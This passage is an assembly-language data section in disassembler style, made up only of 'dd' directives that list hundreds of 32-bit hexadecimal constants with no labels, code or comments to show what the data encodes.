		dd 0A7DEA984h, 24BDECD8h, 0FBF7BA95h, 3EB3EA88h, 973A81D5h
		dd 2AEB7AE7h, 0F53110C7h, 26069E41h, 0CE3462A9h, 68EBE20Ah
		dd 32C6FBE3h, 188FE75Dh, 0ABAA5F17h, 47753022h,	23B8E2D9h
		dd 389B143Ah, 5D40999Ch, 0CD7A46F5h, 4D87BC4Ah,	85DDB3A7h
		dd 9F2DCC7Bh, 3B5CDB3h,	0BCD341A3h, 113722C2h, 9F5D8F37h
		dd 6EA37482h, 9E291B25h, 5B1595ABh, 454F8040h, 0B27762BAh
		dd 0A9CC6AEEh, 46E9258h, 72B4811Fh, 86DDBF17h, 8A2EE70Fh
		dd 7448FE25h, 62312B7Dh, 48E24BBEh, 61B8A667h, 6788A289h
		dd 0B8D67DF2h, 924F68F0h, 0B0D7D50Bh, 170EA48Dh, 2A2B4BEDh
		dd 6DCA5027h, 8DA97565h, 1AD52EACh, 0E08B19BFh,	7E34EC4Ah
		dd 0C8AF9DAh, 0A7E35F3Fh, 0F0881615h, 7C7E63AEh, 0D81977E1h
		dd 2888B718h, 48FC4503h, 3676E5E4h, 29A32F73h, 0ED5B3B63h
		dd 0A987AF1Dh, 0D4C4C57Bh, 0CC7EC211h, 8B12E0A8h, 1DC89FEBh
		dd 5658FEF2h, 0BF21D5C3h, 9B9DB6B8h, 94EE80E8h,	0F6C61B28h
		dd 7A2C79A9h, 0B187137Bh, 4A196D33h, 0AD9C571Ch, 0B9A81360h
		dd 9D63A592h, 436C5C8Bh, 10448AF7h, 0E575DD8Eh,	0B923A82h
		dd 64AF7FBFh, 63EC2049h, 1D8BAC06h, 9865F155h, 0B8827496h
		dd 312322FFh, 0F505E52Ah, 2CA581DEh, 90877E25h,	49C22690h
		dd 35E4AFF6h, 7730657Ch, 0D7C72101h, 8389CBB1h,	4EF6B7C6h
		dd 407266A5h, 5F74E32Ah, 1368DFB4h, 1966BFA3h, 6E9534FAh
		dd 4352A6DDh, 71D3B253h, 3FF3AF07h, 1027B253h, 0A88B73F7h
		dd 5A3F1C5Ah, 0D750D92Ah, 1728CA84h, 0C44FF4ADh, 57FBE49Fh
		dd 0F0E3AE56h, 0D58364C4h, 0CB85893Fh, 0DEA5FF75h, 9D1889Fh
		dd 0F5540EF5h, 10677306h, 0D691A7E6h, 0A82DB612h, 5A66F72Fh
		dd 54400DB7h, 862966A5h, 93C4A2FCh, 0FC3EC344h,	7CEC3EA5h
		dd 41779E5Fh, 81DED7C1h, 0A7E23BDAh, 4CC306ADh,	592A23F1h
		dd 2943634Eh, 5E857FBh,	17A05DCAh, 0F27F163Fh, 0DB517BC5h
		dd 9B8E8FA1h, 9FC44FF4h, 90A3EB64h, 0E3AE5419h,	0A2E11A38h
		dd 0FFBA3552h, 7134EF50h, 0E3BD4273h, 6694BD64h, 74CE9673h
		dd 12326E1Fh, 5045D993h, 0BE18D9BCh, 0CFFF54BAh, 7FB86B73h
		dd 0DE2C503Ch, 0FAABC6F2h, 37EF1CFCh, 662A3F48h, 5267DB2Fh
		dd 0A7DBCEB7h, 0C4A74A5Ch, 0E54669BDh, 0CFD3CD08h, 0B43CB47Eh
		dd 5EF404D0h, 9D72E755h, 4F67C0DAh, 9C0B709Dh, 0C6C5533Dh
		dd 757F3A84h, 518B3D8Eh, 688721B5h, 6C880870h, 408A7959h
		dd 0C7C77Dh, 0C57E9FFCh, 25550320h, 0AE72BF4Fh,	0C7B5C5D1h
		dd 0BD71B5EAh, 42670B37h, 7AB1F9BDh, 0D3827F45h, 0F1532F96h
		dd 2E350DB4h, 0DEAA2DF1h, 6E3E93B9h, 505879F2h,	45D81F95h
		dd 30455F21h, 67CD5880h, 0E9E9C056h, 0C1D41DA3h, 333B9EB7h
		dd 0D81832AAh, 668831F3h, 0B429B5D9h, 3DC0C4E8h, 20911047h
		dd 65382D00h, 0CA9359ADh, 5294C529h, 804412DAh,	0EB3B688Bh
		dd 0D73F863Eh, 0A5D8B5B6h, 0AAAE8EF2h, 0E4D396B5h, 265E5D45h
		dd 15B51844h, 338ADAD1h, 0BE9D15B5h, 576F7552h,	12787911h
		dd 0A969BA5Fh, 0F34C44F9h, 3A29A8ADh, 0B49D4A4Eh, 5A1DC248h
		dd 243BC441h, 0EBF888EAh, 16F9444Dh, 0D935F0A4h, 2CA2615Bh
		dd 312E8D3Bh, 44EA73F2h, 1F396B55h, 290585D0h, 7DC3C6E8h
		dd 0AD3A2AF3h, 5041DF35h, 37371133h, 7DCE00D6h,	0EAD1C2F7h
		dd 753201A2h, 0D442B661h, 3BCA705Fh, 34BC54B6h,	8C7EEA58h
		dd 995D8D2Ah, 3BD4FAFBh, 0DFA918CEh, 1C46E6E2h,	6069514Ch
		dd 0D9F66A8Dh, 0D5196BDCh, 0C721E0D8h, 0E0B97585h, 2FD4E4Ah
		dd 1E20592Bh, 92BE3FBBh, 0A8659DF7h, 0E0DDF423h, 379DC568h
		dd 27724320h, 0CD1350ADh, 734B0905h, 3591469Dh,	0D1666FC4h
		dd 9A1C9179h, 3636466Ah, 0DEA564A5h, 0E2F3D796h, 0C525CB1Ah
		dd 4F6B2DABh, 0B6BD9381h, 0AA34B8F5h, 516596D4h, 0EE3D72B0h
		dd 96DBACDFh, 0F5814A5Dh, 85137FB8h, 3E30881Bh,	0AC95DCC1h
		dd 0A320DB6Bh, 3DB8CFE1h, 0F365306Ah, 88B3D155h, 279145C0h
		dd 0C470C42Dh, 0F14E50D7h, 0BB141C3h, 21A0A228h, 84555060h
		dd 0CC7FEF02h, 6A55AB5Eh, 220A4768h, 3E9375D4h,	974E32B6h
		dd 0F4635017h, 0CDEF280Bh, 1229D6EAh, 4BAF271Dh, 0D30018EEh
		dd 0DE4F04EAh, 54654EE1h, 4601BC69h, 4EC4CBFCh,	25C5EB1Bh
		dd 0D4141277h, 0FA59BC8Eh, 0FC8FA005h, 91EDF74h, 0B29139BFh
		dd 0E6ABE816h, 8D3DA411h, 795EF1D9h, 0E7A995C1h, 0D8B25B1h
		dd 0F340B027h, 484BB7C3h, 9225AFF9h, 712E22C4h,	7FCC7863h
		dd 0B71469C9h, 1122CE70h, 0FC5F185Ch, 0E2F0CFFBh, 2F69927Bh
		dd 0A0EEBBEBh, 9FD60050h, 345F1CB6h, 65118313h,	6A3B9740h
		dd 0CB3ADF02h, 0B79EDDBBh, 87997943h, 0E3044D52h, 0E67812DFh
		dd 7CD6B48Fh, 0A16312C9h, 1B7109DFh, 150ABBDAh,	5485CF89h
		dd 88D47C08h, 4E2421CBh, 81AD2B8h, 895943F1h, 0C7145E44h
		dd 0DFBC0F7h, 89A24696h, 0E49C432Bh, 0AE5AB1FDh, 0FEB97D56h
		dd 572E5FDEh, 96A19BC4h, 192E968Bh, 6522E90Fh, 0B9562C2h
		dd 0E3EB0556h, 0CAB58AFAh, 0AFA5DB15h, 65BFC98h, 0FEA28C5Fh
		dd 0B55ACCDFh, 26EBC8E4h, 3590EABBh, 48453170h,	5CDBC29Ch
		dd 0D25935E2h, 13634293h, 0B64A82Bh, 984E66CCh,	0AAE49EA9h
		dd 5BAF94B1h, 0E782C449h, 214320A6h, 0E9D4CF2Bh, 79CB188Ah
		dd 0DDA14299h, 0D81A8078h, 0B1827BA5h, 8BF3AAEEh, 35B42571h
		dd 30C141EAh, 7278AF4h,	542B96D2h, 8F02DCC0h, 5185B28Bh
		dd 0B1540D6h, 9663761Dh, 4AB8BBADh, 8714EE2Ah, 0DD2EA4DFh
		dd 5F77C9D1h, 0D5EB7516h, 0BC2EA252h, 852D416Eh, 3579CBA0h
		dd 3D75DD71h, 0BC080885h, 2CFBA8D7h, 9EE05DEDh,	4830BF97h
		dd 0C577864Dh, 0F5D9CFD0h, 0B7E2C252h, 0F2CFA124h, 0D5113FDAh
		dd 8E6EFA76h, 8C09D923h, 0E87FF364h, 0A03E88CDh, 0DA38252Bh
		dd 3E6BD012h, 0F81EB66Dh, 5F895DF5h, 0D908A1B5h, 783E0AEBh
		dd 5CABCC78h, 5FB7BE4Fh, 0A98F7FA1h, 0EDA58DE0h, 659AA1E1h
		dd 1FF1CE15h, 0D05B3907h, 889A60C2h, 90C02D21h,	4FFE9ED7h
		dd 13FB3218h, 6209926Ch, 4DF1BDC1h, 9BCEDC52h, 21A34124h
		dd 0AFCA34E1h, 11077B30h, 9F3D88BCh, 7F649B49h,	0CCDAD0B4h
		dd 8BAF6B9Bh, 0E58EE9EBh, 0E07601DBh, 3E4C5079h, 0DF451E01h
		dd 0C8265025h, 0F35AC4BFh, 92C82E3Ch, 2A544E3Eh, 3A631438h
		dd 0D552899Bh, 0F9BB0FF7h, 390CE83Bh, 1C1B390Eh, 0EE2AD0ACh
		dd 0CEF155E4h, 0F0E8AFCBh, 13BD5EDEh, 95F26E39h, 43F7B3A8h
		dd 129855B8h, 3E9EBFE4h, 0F90DE8EAh, 4D73D50Eh,	9803F4A3h
		dd 188FDE4Eh, 8B8B1072h, 81215D21h, 8276D646h, 9754C7AFh
		dd 49E5E06Bh, 1AFFFEEFh, 4581FBB9h, 9C58DBB8h, 2DD9A387h
		dd 12B00FF5h, 1BF652A5h, 76B8A7A7h, 98266AF7h, 0D4B6AB0Fh
		dd 0D21C324h, 0C1958071h, 0DDC944Ch, 0A1969722h, 9C54BFA2h
		dd 5257A4B8h, 6E3F9F1h,	0E61D043h, 69F1C327h, 3CBF39B1h
		dd 0C1577BCFh, 2281DEDBh, 16B953F7h, 0E9C7FB83h, 0ADD3CA45h
		dd 0B3E97123h, 40B8464Bh, 8EEE7A34h, 6DF5CA77h,	9DE344EFh
		dd 0F2C6895Dh, 5E3442Eh, 6269EEBh, 0E67DD426h, 1D1C24A4h
		dd 6A1BB01Dh, 9BB1CA66h, 6478418Ah, 55BB2F9Ch, 2F13C9FCh
		dd 1E171AFCh, 0CCC15D7h, 1028B666h, 2B00E601h, 7BAA050Bh
		dd 661FCDFEh, 0D225CB51h, 0ACE22BD4h, 0E4B8E390h, 0A8703BCBh
		dd 916E9331h, 3C053A4Ch
		dd 1A834849h, 0A28581B2h, 8B81A4B8h, 0E3E29CEBh, 943D6541h
		dd 0C539ED82h, 974C1027h, 1C539141h, 191B4561h,	0C581CD6Ch
		dd 0BD46CDEAh, 0B16A52C1h, 24DCFFECh, 2E5E2C6Bh, 0D76AB6EBh
		dd 0D07376A2h, 8E2C16D7h, 2FC3C784h, 8E39B5CFh,	2C870A36h
		dd 6D61C2E3h, 7DE07A66h, 3CA30EFh, 4A3F6451h, 0C6524ED1h
		dd 0A708641Ch, 0AF9095C2h, 46999B4Dh, 556B4679h, 55288119h
		dd 808E9838h, 99C13E9Ch, 0B130D0EDh, 3839C043h,	0E14ED1C7h
		dd 0ADC237E4h, 0AE0CCCDAh, 55AAD1CFh, 0E524E475h, 4D6BB554h
		dd 0A11E7610h, 328FAA74h, 79CF6CCFh, 39C863C3h,	0CE992CE8h
		dd 0E65980C6h, 0F5DF8F39h, 4317687Bh, 3E588CD1h, 3BAC7D0Bh
		dd 7C4EB046h, 3B25B69Fh, 0BE6CEE03h, 2CAEF82Ah,	9A764F78h
		dd 0FAF097F5h, 12F7708h, 0AB198A8h, 6C54B388h, 8FBD4B37h
		dd 0F2856EEBh, 7E45281h, 6EE5921Bh, 44734DE7h, 0ADF85CCBh
		dd 929C40BCh, 399CE19Dh, 0C141FA33h, 6DBEF09Bh,	0B3F681ADh
		dd 567F7B7Bh, 5807BB8Dh, 9F6F4DFCh, 7D36E089h, 0FC8B51F7h
		dd 2D13C336h, 13553315h, 0B2B316EFh, 935433AAh,	0F46A0D9Dh
		dd 1C1FACB8h, 0AE364D6Ch, 0EBE55533h, 76D2E1F7h, 0AD78CCC8h
		dd 0AF56B8C3h, 0CB62AA0Dh, 80DB6696h, 0DAE9683h, 0CA4E85F7h
		dd 55978C7Ah, 0BFBA875Eh, 0FC5F524Dh, 17806546h, 0D92DD742h
		dd 5333EAF0h, 3A53FB3Ch, 88A01C71h, 8ABAABBFh, 263BC1A6h
		dd 54868B9Ah, 0EFCDF531h, 9570061Fh, 78697CB2h,	232DAE9Fh
		dd 391F456h, 6881A549h,	0D5CCBD99h, 34B30907h, 153B2174h
		dd 5C1F382Bh, 0ADDAB98Ah, 6C5955CFh, 5479FD54h,	7013C0D6h
		dd 1C0F7397h, 0ADB670Ch, 0F7B6D052h, 97B44E67h,	0EDFBDAA1h
		dd 0EE26DEB4h, 2389C483h, 20923814h, 0D36A8B79h, 6AA6663Bh
		dd 9E126267h, 80C50D3Eh, 0B18B3171h, 6EADA996h,	0E25F8A82h
		dd 3C575A94h, 28141508h, 59C97711h, 0B4B3D49h, 0CC84E45Bh
		dd 0C9DEEF14h, 5F8996EEh, 0B3F1BC04h, 0DE13C21Ch, 26FAF36Ch
		dd 32A2D0C2h, 8F66BD15h, 84FF1F6Eh, 0E71EBE3Bh,	0E64C7C82h
		dd 1EC65CC6h, 721488Ch,	61589014h, 0EB5655D4h, 0A50A2368h
		dd 0CFF3E4EAh, 3F627D13h, 48CAAFEAh, 8437CE7Eh,	0ED3BAB36h
		dd 5822AA36h, 0A0862191h, 3A3CF2FAh, 99797D03h,	6F06FF8Dh
		dd 6DC6BF3h, 0B4A5956h,	7952F1CEh, 7A46F273h, 0CB44F0AFh
		dd 9614D1C4h, 3F998919h, 28481351h, 0DB96DC0h, 785D3252h
		dd 0E1915F92h, 8A31E21Bh, 0BB54C4DDh, 97E3E94Ah, 0D8973DECh
		dd 0AFBE3683h, 4751EB15h, 325A0A7Dh, 0FF0DCF96h, 1DEA3640h
		dd 0B9178285h, 512E3C78h, 0B25029Eh, 0E67310F1h, 42CE5AB6h
		dd 51A13BBh, 44293003h,	0D2FA3440h, 0DB9052F2h,	0DEEA9467h
		dd 0BE569AF0h, 0E8D67FD7h, 86E1CFEBh, 0DB3E890Fh, 363B3B8Bh
		dd 1EA62B30h, 1F23D841h, 2733F13Bh, 7F81813Ch, 36B1D659h
		dd 3363F7DAh, 872F82AFh, 0EC5C77C4h, 0A90A9E9h,	0A3A72864h
		dd 9F8015BDh, 1957A8ECh, 0C75DD5B2h, 0D4ACCA12h, 0FA8961Ch
		dd 90F1C004h, 78A753E3h, 9E8904D6h, 81EE52C3h, 4450BEAh
		dd 4BAFE111h, 0F9B0C676h, 0B3BEA946h, 0DDA14EAAh, 4486EC31h
		dd 0CD69316Ah, 0F0A5D3F6h, 0B9AC22Dh, 2A51C4ACh, 0D269A765h
		dd 0BE6E7FA8h, 8C4BC3AFh, 2A94A460h, 748CF66Ch,	5341CCC6h
		dd 3927BA62h, 3B87F8E4h, 0AEC2C392h, 0EF79C998h, 9C91E8D0h
		dd 26BF13BDh, 0F2E07BD8h, 6AEFC698h, 56A579EAh,	34195CDCh
		dd 0B31F1C87h, 0E4969481h, 4A5A466Eh, 1159A7EDh, 43749474h
		dd 54F17551h, 2ABF677Fh, 6292B36h, 0ADA5B8C8h, 0A4AABA81h
		dd 59F7B998h, 0D3A3BC66h, 0D2939387h, 0BB96B4Ch, 7EA0B8BBh
		dd 9E98E0D1h, 7F084A80h, 0DD8F8929h, 50B2E558h,	0D5DC2360h
		dd 94C6DE15h, 6C5FEB07h, 0CCB94E24h, 0B0C6463Dh, 0E3901A21h
		dd 0F221891Bh, 1E7A9E64h, 0D458C2EFh, 0E591621Eh, 0CF4EE646h
		dd 832B24B3h, 46345EBDh, 5918D65Bh, 3CCC1B82h, 47569D80h
		dd 94584AA1h, 0FBB15h, 0AEC41F26h, 2272BAB8h, 179A9694h
		dd 4C875B4Fh, 0EF449FA1h, 12591BAEh, 0B93B7E2Ah, 98829A21h
		dd 0DE967712h, 0AF85B27h, 6576718Fh, 23C5DEC1h,	0B7E2E665h
		dd 633C7329h, 8EF3BC46h, 9DD43DB7h, 0B22C49E5h,	14EDBC74h
		dd 78F922C6h, 43FE8033h, 0CF8E5167h, 8183EE29h,	844706E3h
		dd 0B1F99FB5h, 7D444F9Bh, 0D2F7E2EDh, 0B1C8505Bh, 0A4E82A91h
		dd 0F6F156D8h, 0C5996579h, 5B14F35Ah, 4688D920h, 3646AB46h
		dd 9B9AC53Ah, 0A0510BD5h, 0D25A1085h, 6949D106h, 0E6D99FCBh
		dd 0F864057Dh, 0BE0A3E44h, 1E014A24h, 0B82B83C8h, 0EF163C37h
		dd 0C56DD695h, 1BEC729Dh, 0BADD8C7Bh, 0D609D1CDh, 0D205B9ACh
		dd 25D5CA38h, 93DC7C53h, 3199E05Bh, 6B11C5Ah, 6F37E5AEh
		dd 3AEA2EDh, 76C55B7Fh,	972E5218h, 0AC7AC90Ch, 0B677B6BFh
		dd 0B049157Ah, 75C62AC8h, 4B7A1867h, 988B0E83h,	0C95B546Dh
		dd 0DD0C9F5Fh, 0A43A4810h, 0D6B2EFFAh, 4EA954B4h, 0A2046D77h
		dd 864656A4h, 7AD3A030h, 5F6CB15Eh, 51EDECC1h, 95A1E2F5h
		dd 0F81220DDh, 176C3E13h, 0EDEC0CFBh, 3AF0E599h, 42D2B5E4h
		dd 0A6DC97B8h, 5C845E68h, 0B4DE7BB1h, 341D1551h, 75F519Fh
		dd 3DC0DE5Fh, 0D5A961E0h, 0A7CBCAD6h, 8D3048B1h, 0B8FEFBA8h
		dd 0C5479133h, 828F7C4Dh, 0FEA89D86h, 473F552Ch, 0C28B2F55h
		dd 9E70BF8Eh, 0B5EAC053h, 0E4E8AC4h, 0ED1D4727h, 7A874751h
		dd 31F4B70Bh, 0B4744878h, 2E341657h, 85EF2532h,	52FEC02Bh
		dd 0B64A6AF5h, 0AAB84429h, 459D59C4h, 4D215927h, 0EB318C0Fh
		dd 2DE0FA6Fh, 503A5D73h, 1460FFB7h, 505DED6Bh, 2F9BEF50h
		dd 0F81AC195h, 4D438BB7h, 0F9266C68h, 7CA7D4FAh, 24632B48h
		dd 0BA7ED282h, 280F9EA0h, 404415DFh, 0D16DE31h,	33510651h
		dd 0EEA5B21Dh, 9719FFA7h, 4B47AEA3h, 7E18D9Bh, 0A51DD75Ch
		dd 2B304666h, 0E029F54h, 0EE7A6D44h, 0F7BD414Bh, 4C68FC27h
		dd 0A3782A91h, 0D1015700h, 0EEEAA45Ch, 0BC20CDB6h, 5D09037Ch
		dd 0D67868A8h, 4731BFD1h, 0D97EFE41h, 0D1A3D58h, 9DEF9618h
		dd 76D83FADh, 3908C04Ah, 9D327B36h, 0FF34CFE2h,	7CD8D831h
		dd 4BC6C14Eh, 616F62E7h, 43212710h, 9D29D0BCh, 238BF9B5h
		dd 547B7FF4h, 0BC810882h, 494328FDh, 0CB6E44F5h, 0B45C737h
		dd 0EE7B770Ah, 0BA0B894Dh, 23CFB199h, 874BA82Ch, 0E964E952h
		dd 4369799Fh, 8ED94AF8h, 0B9B0900Bh, 700240Bh, 9848666Ch
		dd 0F43305CAh, 0F6C497AAh, 1AD66A93h, 0BDFBCED8h, 0DA54D623h
		dd 5B46B659h, 784B4BEEh, 7B72A101h, 0B18AC70Fh,	89A3B87Eh
		dd 0ECD7C3B0h, 56783C22h, 31EF1061h, 8272FD19h,	636F10DFh
		dd 0BF2C44F5h, 15E37B61h, 3474422Ch, 0DD06A995h, 6E9DEA4Fh
		dd 95E1758Bh, 26968F08h, 267E29DBh, 89B5676Dh, 0F6EC1113h
		dd 2716F136h, 67EE5ADAh, 5E21D02Ch, 0F06C488Bh,	111BFE77h
		dd 85BA71CFh, 4FEDFABDh, 67869DF4h, 60FEBE34h, 4523E433h
		dd 0C398DAF3h, 9D65A98h, 0AF3C45E3h, 95A9BF5Fh,	0CD783E54h
		dd 0CB4E12F2h, 0B8ABE36Dh, 0F6B0E50Eh, 1E5CD6B0h, 4BEE5A38h
		dd 0D1DD3D0Dh, 0C363FBA9h, 6961DD1Dh, 7C5D8EAAh, 54D7B95h
		dd 555916A7h, 0EB5601A2h, 7C5D9E28h, 680EC70Dh,	7841D38Ah
		dd 78744516h, 6EE6D69Ah, 1BF8AC44h, 276547F4h, 1D3316DCh
		dd 0C4774F35h, 0EFE9428Dh, 1B4368FEh, 7E51E740h, 0CCC22EFBh
		dd 0C9C2F844h, 0F5B654E5h
		dd 8BBF1B1Eh, 0E99F2BB2h, 0A383675Ah, 3417C603h, 0FB7CC7ABh
		dd 3FAA8FF2h, 9DEF56B3h, 0B85E9B54h, 63F4C5A7h,	6FE37DFh
		dd 0C3B8B453h, 0D42869F7h, 919D7BA1h, 0A1C5352Fh, 6CD8F09Dh
		dd 0A6EDF0F3h, 0F98E7AD8h, 0ECD13576h, 673DCF97h, 0BB8E6C28h
		dd 5F5007D3h, 96E9C2FFh, 0B29A0DF8h, 1FDD648h, 12BB0B19h
		dd 0F9C9915Eh, 0F1029C8Eh, 7E3BCF31h, 42864739h, 0E6F87E06h
		dd 2AE13C1Dh, 0B8C279AFh, 0F21319A5h, 3E5F491Fh, 0FC2938C9h
		dd 86CA7D65h, 0F1F4136Ch, 7B1FC19Fh, 0DEB83F1Dh, 0BE857B1Fh
		dd 5C05CCF0h, 0D54F6E91h, 676A915Dh, 679D3B83h,	28752DF9h
		dd 70A189B0h, 0AC704FF3h, 787AA278h, 0DF0339D8h, 5690CA12h
		dd 46C40EA8h, 0E38178E4h, 0E65EFBBEh, 0F4BBA190h, 75E23B1Ch
		dd 627DF07Ch, 1CCB371Dh, 4B3B74Eh, 8DF062h, 0A21E8975h
		dd 62D93D87h, 0ADF2F7CEh, 0A5AF8C3Fh, 0CF4B279h, 33F38B6Fh
		dd 0E2F70968h, 0F1F04915h, 80A14319h, 428F0D37h, 87B1E28Ch
		dd 0C7DAD1A2h, 0B1CA2167h, 8B152823h, 0F1429E0Ch, 760A312Dh
		dd 63D16CC4h, 0BBC9DF8Eh, 0AF732288h, 0B6DCD5FCh, 0E0136060h
		dd 7FDCC07Eh, 595BA319h, 98358977h, 9DB1A1C4h, 0FBFB42D1h
		dd 0F93E1AAFh, 0C9CCE52Eh, 6A442AE0h, 7FDFD86Fh, 0DA48D71Dh
		dd 864E67DBh, 1DEFD54Ch, 0E67FBFB7h, 81AA4424h,	95623A67h
		dd 0F04AE16Ch, 56E89E2Bh, 495516C9h, 0BA8EF28Fh, 34CE13D0h
		dd 9B42C1E2h, 2689FA51h, 0A5FD06FEh, 0F6B55085h, 0F7812DDEh
		dd 527CFF17h, 6CED3430h, 0FCBDBD6Fh, 4345BD02h,	0A78DD777h
		dd 23F94E66h, 0BFBC5F17h, 0EAAC93FAh, 0EFEC933Dh, 7D9E2E7Bh
		dd 5BD254E6h, 0D5CD005Ah, 37FCA39Ah, 0F395CAh, 47346B7Dh
		dd 1458D69Dh, 0EEF8BFD8h, 0E8A060C2h, 7BA36F6Ch, 0A3C2E729h
		dd 628D8FFBh, 7F14685Ch, 84A2A1A3h, 0E8A3946h, 0FA31D95Fh
		dd 0E86E3D08h, 53AE4F0Fh, 0E37D1328h, 0F0A07B25h, 0A6AFFB2Ch
		dd 538CD85Fh, 0FDC4DAFDh, 0DE18AFC2h, 1BDA5FA5h, 0CE7B8972h
		dd 4D4216BAh, 260D50C1h, 2688A9B8h, 6B1A3EF8h, 9AC7C5Eh
		dd 6579BE75h, 4A6EB1D7h, 755DEB18h, 0FA2AFB0h, 67F568F7h
		dd 0DEF7ABC7h, 9F96E181h, 0FF49939h, 1DAFEB8Dh,	1436493Eh
		dd 0C6C5E50Dh, 547ABABBh, 0FDBFDD2Fh, 0FF770BCAh, 0B241BAEEh
		dd 842D36F3h, 971A0929h, 0F58074F1h, 9924F3F2h,	8CCC21A2h
		dd 1BA95595h, 1FD69F1Eh, 8FA3DEAEh, 0FABB3374h,	686FB566h
		dd 9C4071E8h, 8038F433h, 787E29CDh, 180BAD86h, 57AEB454h
		dd 90458451h, 41FCE640h, 266B5467h, 4EEE0714h, 9D479EACh
		dd 0C9FE0E6Ah, 0C71ED129h, 0F103CCD5h, 0A493DC78h, 88A7F3EFh
		dd 0D6060E78h, 0A525E076h, 0B8E0171Eh, 0CD338835h, 0F7B1E976h
		dd 0C46AEC71h, 0B371E8A6h, 0E138E711h, 3198BA89h, 0CA013C19h
		dd 0EC721E1h, 133E8A7h,	5388B89Bh, 90291828h, 0ABE99429h
		dd 83413E02h, 6FA8E68Eh, 0E8D7D447h, 0F30C029Eh, 8C10D378h
		dd 8C86FC09h, 0A28F3D7Eh, 0FED6345Dh, 4A46F8F1h, 0FEA6A8A2h
		dd 0C7BAB35Dh, 8B4E0D72h, 0A6184D1Eh, 23751090h, 55BA5AF2h
		dd 6DAB259Bh, 1E35D01Ah, 478C0D2Dh, 64D3BB35h, 6715569Dh
		dd 0D26B6589h, 0EEE6CA3h, 9B317427h, 311B08F7h,	813ECB95h
		dd 1EFB0377h, 731F4A27h, 0CA9B6972h, 365E869Ah,	0ED7B9C51h
		dd 6AE92665h, 7B7AC7B7h, 0E3E2B40Bh, 14B086D7h,	7DBE4F1Ah
		dd 4C21B5CFh, 27C5B5F7h, 1A13BEA2h, 2DEF6B7Fh, 4CCD14FBh
		dd 2B62D3DFh, 9B651AD1h, 914BE125h, 6B46D781h, 9751157Ah
		dd 7A9D37BDh, 691594E5h, 0DD182A4Dh, 1BDDDA8Ah,	0FA4D73B9h
		dd 6BDCB370h, 0C9D57C9Ch, 0EDCD3877h, 0CAE12CAh, 5D8F6DEEh
		dd 6E8BE8EFh, 0C602F077h, 0DAA78E4Fh, 18E4F13h,	7D3CF637h
		dd 3C4F681Eh, 80F9C27Dh, 3C7A3A1Ah, 0A3888626h,	65FD78F9h
		dd 97794062h, 34C9F6D3h, 0D3D6EF0Ah, 0F9CBDF28h, 438E9A2Ch
		dd 0A35C9E4Eh, 64D94B9Eh, 83BAB9EBh, 0AC1AE67Ah, 958EBD47h
		dd 7D8E6974h, 12FB94BCh, 0BB9F7296h, 5E96CE46h,	55A5CD3Ch
		dd 917B6B34h, 3E58EDF1h, 43E0BE97h, 74B962h, 78B0DBD2h
		dd 7B8B8070h, 0F026614Fh, 3E9E79F5h, 52F74E4Fh,	9971EEA7h
		dd 0EF68CEADh, 1117C98Ah, 0C77B80BEh, 4AEE8921h, 1FB00E99h
		dd 70CD7E55h, 568202D9h, 0E7BC43D4h, 8560C9BEh,	6B2DEC2h
		dd 2ED96CACh, 8A95EFDCh, 6554961Ah, 31FBDB43h, 190F3426h
		dd 0BEA283BDh, 899EF126h, 6B59D79Dh, 0F42D202Ah, 9D3BD53Ah
		dd 0BA7F4469h, 0A1C735A1h, 74B90A22h, 3701C4EFh, 0DBC059F0h
		dd 9726201h, 70F77BCEh,	0EE5C23E2h, 244C9C7Bh, 73C7941Ah
		dd 0D54D4E8Bh, 15B21606h, 7EA62666h, 40E2BDF1h,	0A42F4F82h
		dd 0E55CACB2h, 4BCF89DFh, 5B82AAAAh, 3A91C467h,	0AFC21037h
		dd 8AEECB68h, 0A40911D4h, 0F19F2AFEh, 0D99CCF67h, 0D02FBC73h
		dd 0F70306Dh, 0A1A5F55h, 8212C1A1h, 3A2F7473h, 0DAF48A74h
		dd 0BD2B0970h, 4E37B885h, 0D024E671h, 0A6803468h, 0E7E21E5Bh
		dd 0FDE13278h, 0FBD3D293h, 0FDC050E4h, 2A746C7Dh, 0E52AF55h
		dd 0E5D237D2h, 456D04C2h, 0DF0F7146h, 2864D911h, 0E20F343Ah
		dd 0BF9D951Eh, 0E8F89331h, 3C55F5E2h, 0BAD7DEC4h, 82E9CFD9h
		dd 0DE9FC615h, 0C4B9F663h, 2DF89BFAh, 27AB8FE2h, 0B8347DFEh
		dd 5DD282B1h, 889A97B5h, 4FAD2AA6h, 9B310C41h, 0C7A0DBE3h
		dd 0B44D0307h, 0DBC0E30Eh, 2CA6AE8Eh, 52EE6086h, 0B290D3FAh
		dd 11097E84h, 0C76EE61Ah, 0A27EEE97h, 3A0E2BA4h, 0C740C7B3h
		dd 717EF7B7h, 2EF06C9Dh, 8FD9764Eh, 222B0696h, 0F619C2DAh
		dd 85F64585h, 23F599E3h, 96E04C9Eh, 0BBD5A9D6h,	0D521A47h
		dd 0EB9766D9h, 9A2BB374h, 83388C7Bh, 0B4297511h, 614ED5B6h
		dd 7B0564Eh, 0EC1DE353h, 232A0648h, 0A31B2F49h,	4A61F710h
		dd 0B305EF96h, 1E98EB80h, 6CD76723h, 67B20C22h,	9263C9A1h
		dd 0B6C7F836h, 4C643149h, 0E68F621Ch, 81ACD957h, 0DA1DBCC3h
		dd 36ACCCB5h, 2960B9D6h, 5B6AEC84h, 303D9299h, 699EB1C8h
		dd 5B86CAB0h, 0FC3B5F1Bh, 4C7EFA25h, 825E9A2Ch,	5E5EE233h
		dd 0B36502DEh, 0A8F6A41Dh, 527542E3h, 0E3D44E35h, 9B4087E3h
		dd 0EC29CCB5h, 0FD95B2E7h, 2B4AB25Ch, 0E606323Ch, 0B83B5919h
		dd 0B1B0E830h, 0A2962287h, 572C8F28h, 8AA33AB3h, 0CA5E39BCh
		dd 18CB61FBh, 424DAAF9h, 246C9962h, 71FACFBEh, 8EA6B12Ah
		dd 0EF196756h, 0F40632FEh, 78A66532h, 0B19518E8h, 1CC72799h
		dd 0B1B39C9Fh, 0D4CA5881h, 0D39362C0h, 96393C1h, 72604ECAh
		dd 0CE097ACCh, 55A726A8h, 9AB31C9Fh, 0A4EA5E9Ch, 7A89C6Ah
		dd 6F08E9DDh, 0E96984Eh, 3614E26Dh, 423D1397h, 0CBD75C6Dh
		dd 6202B4D4h, 4C267486h, 5C52E4CDh, 84A07648h, 80EE43F7h
		dd 920A5CDCh, 0F090FAE2h, 9FE31504h, 0CE95A91Fh, 0CE8280D4h
		dd 45CF5A82h, 0F0888CC3h, 0D4B77634h, 518F64F1h, 2E9CCB47h
		dd 43D67482h, 64395EA6h, 6746A334h, 0A8FD6557h,	0C888EA31h
